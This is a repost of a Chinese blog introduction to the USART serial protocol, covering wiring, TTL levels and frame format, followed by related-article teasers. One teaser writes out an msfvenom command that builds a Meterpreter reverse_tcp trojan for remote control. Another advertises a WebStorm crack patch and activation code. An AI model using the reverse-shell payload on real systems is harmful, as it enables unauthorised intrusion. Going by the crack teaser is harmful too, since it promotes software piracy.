总线协议系列——USART协议初探

news/2025/1/20 3:52:03/文章来源:https://www.cnblogs.com/johnsonstar/p/18514595

前言

概述

USART全名Universal Synchronous/Asynchronous Receiver/Transmitter,也即通用同步/异步串行接收/发送器。是一种异步全双工点对点总线架构,其总共需要TX传输线、RX接收线和GND共地线。如果两个USART硬件没有自主供电VCC,还需要VCC线

电路特性

USART总线采用推挽输出模式,因为其为异步传输模式,也即不存在时钟线,对传输的控制主要由波特率来实现。对于USART来说,数据线的接法就是TX与RX相连,因为双方都存在TX与RX总线,所以可以实现全双工的通信方式

USART总线的电平采用TTL电平,其0和1的确定由数据线上电平与共地线电压差的值所确定。

通信过程

USART通信帧格式

USART在传输数据时以帧为单位,一帧通常为10bit或11bit,如下图所示:

这张图直观展示了一个帧的基础结构,由起始位+数据位+校验位(可选项)+终止位组成。由于USART为低电平有效,所以一帧的开始是数据线上的电平由高电平转向低电平产生一个下降沿作为标志,之后便是8位或9位的数据传输,须知USART的数据传输采用低位有限的方式,先传输数据低位再传输高位。在传输的末尾可以添加校验位,诸如奇偶校验、CRC循环冗余校验等。最后便是停止位,数据线拉高至高电平,表示一次传输完成。同时终止位的拉高至高电平也是为了下一次的传输做准备,这样当下一次传输时在开头可以产生一个下降沿。

数据传输

USART的整个数据传输过程就以上述介绍的帧格式为基础,在每一帧内放入需要传输的数据,TX向数据线上传输数据,RX从数据线上读取数据。这个过程的时序确定由USART双方协商的波特率确定。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/823944.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Meterpreter生成被控端并进行远程控制

Meterpreter生成被控端并进行远程控制 Meterpreter简介 Meterpreter是kali中自带的用于渗透测试和漏洞利用的工具,它的本质上是一种payload, 允许使用者使用命令行执行命令的生成及执行 生成木马 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=本机的ip lport=5000…

13. 分组数据

1. 数据分组 分组允许把数据分为多个逻辑组,以便能对每个组进行聚集计算 2. 创建分组 分组是在SELECT语句的GROUP BY子句中建立的。 比如: select vend_id, count(*) as num_prods from products group by vend_id;输出如下:上面的SELECT语句指定了两个列,vend_id包含产品供…

什么叫做网络编程

网络编程是一种编程实践,主要关注在网络环境中进行数据交换的应用程序的开发,包括了如何使用和理解各种协议、数据传输方式和网络架构等内容,以在不同计算机或系统间实现有效的信息交换。套接字是网络编程的基础,是网络上运行的程序之间进行数据交换的一种方式。什么叫做网…

Linux进程调度器-CPU负载

1. 概述 CPU负载(cpu load)指的是某个时间点进程对系统产生的压力。来张图来类比下(参考Understanding Linux CPU Load)CPU的运行能力,就如大桥的通行能力,分别有满负荷,非满负荷,超负荷等状态,这几种状态对应不同的cpu load值; 单CPU满负荷运行时cpu_load为1,当多个…

Paimon lookup store 实现

Lookup Store 主要用于 Paimon 中的 Lookup Compaction 以及 Lookup join 的场景. 会将远程的列存文件在本地转化为 KV 查找的格式. Hash https://github.com/linkedin/PalDB Sort https://github.com/dain/leveldb https://github.com/apache/paimon/pull/3770整体文件结构:相…

研究生如何利用 ChatGPT 帮助开展日常科研工作

研究生可以利用 ChatGPT 帮助开展日常科研工作:1. 文献综述与资料查找;2. 论文写作与润色;3. 问题解答与研究思路拓展;4. 实验设计与数据分析;5. 科研计划和进度管理;6. 学术交流和论文审阅。研究生常常需要面对海量文献,ChatGPT 可以成为文献综述的得力助手。1. 文献综…

13.Java的IO流

文件 概念文件:保存数据的地方。 文件流:文件在程序中是以流的形式来操作的。 流:数据在数据源(文件)和程序(内存)之间经历的路径。输入流:数据从数据源(文件)到程序(内存)的路径。 输出流:数据从程序(内存)到数据源(文件)的路径。常用操作构造方法方法 说明F…

论文词汇积累-铁路专业术语如车务段等(在进行小论文翻译的过程中遇到的问题,搜集整理一下)

一、铁路专用英语 专业词汇中英对照翻译 来源:https://blog.csdn.net/weixin_44304362/article/details/108827567 铁路工程词汇 线路工程 railway line engineering 铁路勘测 ;铁道勘测 railway reconnaissance 铁路选线 ;铁道选线 railway route selection;railway location…

考研打卡(2)

开局(2) 开始时间 2024-10-29 19:21:57 结束时间 2024-10-29 23:32:52呜呜,昨天被老师骂了数据结构能说明快速排序是不稳定的排序方法的一组关键字序列是____(暨南大学2011) A (10,20,30,40,50) B (50,40,30,20,10) C (20,20,30,10,40) D (20,40,30,30,10)C (20,…

vue2基础组件通信案例练习:把案例Todo-list改写成本地缓存

vue2基础组件通信案例练习:把案例Todo-list改写成本地缓存@目录概述前端代码本人其他相关文章链接 概述前面文章案例已经练习了父子组件之间的通信,这一节讲述如何把todos数组放进本地缓存中,因为实际开发场景中频繁查询的数据很有可能会用到本地缓存技术。思考:如何改成使…

Webstorm 2024 安装使用 (附加永久激活码、补丁)

下载安装第二步,安装完成之后,下载补丁 下载地址(里面包含激活码)完成,之后输入激活码免责声明:本文中的资源均来自互联网,仅供个人学习和交流使用,严禁用于商业行为,下载后请在24小时内从电脑中彻底删除。对于因非法使用而引起的版权争议,与作者无关。所有资源仅供学习…

高级语言程序设计课程第五次个人作业

这个作业属于哪个课程:https://edu.cnblogs.com/campus/fzu/2024C/ 这个作业要求在哪里: https://edu.cnblogs.com/campus/fzu/2024C/homework/13298 学号:<102400229> 姓名:<杨灿> 书本第8章8.11编程练习题目中的第1题 没有问题书本第8章8.11编程练习题目中的…